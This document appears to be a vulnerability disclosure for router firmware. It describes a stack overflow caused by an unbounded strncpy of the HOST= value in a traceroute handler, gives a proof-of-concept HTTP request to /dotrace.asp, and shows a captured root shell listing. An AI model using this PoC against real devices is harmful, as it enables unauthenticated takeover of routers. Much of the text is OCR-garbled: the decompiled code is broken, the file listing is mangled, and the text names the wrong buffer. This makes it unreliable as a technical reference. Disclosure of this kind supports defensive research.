

The figure above shows the latest firmware.

## **Vulnerability details**

```
int __fastcall sub_41F0EC(int a1, int a2)
 int v3; // $v0
 int v4; // [sp+20h] [+20h]
 int v5; // [sp+24h] [+24h]
 int v6; // [sp+24h] [+24h]
 int v7; // [sp+28h] [+28h]
  _DWORD_*v8: // [sp+2Ch] [+2Ch]
 char v9[64]; // [sp+30h] [+30h] BYREF
 int v10[5]; // [sp+70h] [+70h] BYREF
 char v11[20]; // [sp+84h] [+84h] BYREF
 int v12; // [sp+98h] [+98h] BYREF
 char v13[64]; // [sp+9Ch] [+9Ch] BYREF
 char v14[20]; // [sp+DCh] [+DCh] BYREF
 int v15; // [sp+F0h] [+F0h] BYREF
 int v16; // [sp+F4h] [+F4h] BYREF
 int v17; // [sp+F8h] [+F8h] BYREF
 int v18; // [sp+FCh] [+FCh] BYREF
 int v19[10]; // [sp+100h] [+100h] BYREF
 int v20[6]; // [sp+128h] [+128h] BYREF
 char v21[200]; // [sp+140h] [+140h] BYREF
 memset(v10, 0, sizeof(v10));
 v17 = -1;
 v18 = 0
 v19[0] = (int)"traceroute";
 v19[1] = (int)"-In";
v19[2] = (int)"-s";
 v19[3] = (int)v14;
 v19[4] = (int)"-o";
 v19[5] = (int)v11;
 v19[6] = (int)"-k";
 v19[7] = (int)"file";
 v19[8] = (int)v13;
 v19[9] = 0;
 v20[0] = (int)"traceroute";
 v20[1] = (int)"-In";
 v20[2] = (int)"-k";
 v20[3] = (int)"file";
 v20[4] = (int)v13;
 \vee 20[5] = 0;
 if ( !*( DWORD *)(a2 + 164) || !**(_BYTE **)(a2 + 164) )
   return sub_487144(a2, (int)"<TR class=textCell><TD colspan=5>### Trace failed ###</TD>
 \sqrt{7} = 0;
 v7 = strstr(*(_DWORD *)(a2 + 164), "HOST=");
 v5 = str(hr(*(_DWORD *)(a2 + 164), '&');
 if (!\/7 | !\/5 )
 return sub_187144(.3 (int)"<TR class=textCell><TD colspan=5>### Invalid parameter ###
strncpy(v9, v7 + 5, v5 - v7 - 5);
between "HOST=" and "%"
 v9[v5 - v7 - 5] = 0;
 \sqrt{7} = 0;
 v7 = strstr(*(DWORD *)(a2 + 164), "INTF=");
 if ( v7 )
   v6 = strchr(v7, '&');
```

The data between "HOST=" and "&" is copied to the V10 array through the strncpy function, which causes stack overflow without limiting the size of the copy.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware R200V200R004L02.bin
- 2. Attack with the following POC attacks

GET /dotrace.asp? HTTP/1.1 Host: 192.168.124.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0. Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://192.168.124.1/maintain\_diag.asp Cookie: LOGIN\_PSD\_REM\_FLAG=; PSWMOBILEFLAG=; LOGINCOUNT=; USERLOGINIDFLAG= Upgrade-Insecure-Requests: 1 ① 页面载入出错 i) 192.168.124.1 ← → G 连接超时 192.168.124.1 的服务器响应时间过长。 • 此站点暂时无法使用或者太过忙碌。请过几分钟后再试。 • 如果您无法载入任何网页,请检查您计算机的网络连接状态。 • 如果您的计算机或网络受到防火墙或者代理服务器的保护,请确认 Firefox 已被授权访问网络。

The above figure shows the POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

```
BusyBox v1.2.0 (2019.11.07-05:21+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
 # ls -l
drwxrwxr-x
              2 1000
                          1000
                                        7748 Nov
                                                       2019 WWW
             10 *root
                          root
                                                       1970 var
drwxr-xr-x
                          1000
                                           49 Nov
              5 1000
                                                       2019 usr
drwxrwxr-x
              3 1000
                          1000
                                           26 Nov
                                                       2019 uclibc
drwxrwxr-x
              1 1000
                          1000
                                              Nov
                                                       2019 tmp -> var/tmp
.FWXFWXFWX
             11 *root
                          root
                                            0 Jan
                                                       1970 sys
T-XT-XT-X
              1 1000
                          1000
                                              Nov
                                                       2019 sbin -> bin
LEMXEMXEMX
                                            3
                                            0 Jan
             78 *root
                                                       1970 proc
                          root
dr-xr-xr-x
drwxr-xr-x
              9 *root
                          root
                                            0 Jan
                                                       1970 mnt
                                            3 Nov
              1 1000
                          1000
                                                       2019 lib32 -> lib
LEMXLMXLMX
              4 1000
                          1000
                                         2452 Nov
                                                       2019 lib
rwxrwxr-x
                          1000
                                                       2019 init -> sbin/init
Lrwxrwxrwx
                 1000
                                            9 Nov
                          1000
              2 1000
                                            3 Nov
                                                       2019 home
drwxrwxr-x
              2 1000
                          1000
                                            3 Nov
                                                       2019 ftproot
drwxrwxr-x
             10 *root
                          root
                                            0 Jan
                                                       1970 etc
drwxr-xr-x
              4 1000
                          1000
                                         2539 Nov
                                                       2019 dev
drwxrwxr-x
              2 1000
drwx<u>r</u>-xr-x
                          1000
                                         1446 Nov
                                                       2019 bin
```